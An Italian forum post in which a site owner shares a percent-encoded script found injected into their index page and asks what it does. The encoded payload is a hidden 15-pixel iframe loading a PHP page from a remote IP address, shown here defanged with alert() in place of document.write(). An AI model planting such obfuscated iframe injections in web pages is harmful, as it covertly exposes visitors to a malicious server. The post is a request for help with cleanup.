Forse l'ho beccato.
Nella index avevo questo script:
codice:
<script language="javascript">
alert( unescape( '%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%38%31%2E%32%39%2E%32%34%31%2E%32%33%36%2F%61%63%63%32%2F%61%6E%6E%61%2F%69%6E%64%65%78%2E%70%68%70%3F%69%64%3D%31%31%31%27%20%68%65%69%67%68%74%3D%27%31%35%27%20%77%69%64%74%68%3D%27%31%35%27%20%73%63%72%6F%6C%6C%69%6E%67%3D%27%6E%6F%27%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%27%6E%6F%27%3E%3C%2F%69%66%72%61%6D%65%3E' ) );
</script>
Potete eseguirlo tranquillamente visto che ho cambiato con un semplice alert() quello che prima veniva scritto nel codice della pagina con il metodo document.write().
Pare richiami un IFRAME da un certo Server.
Avete qualche info in merito?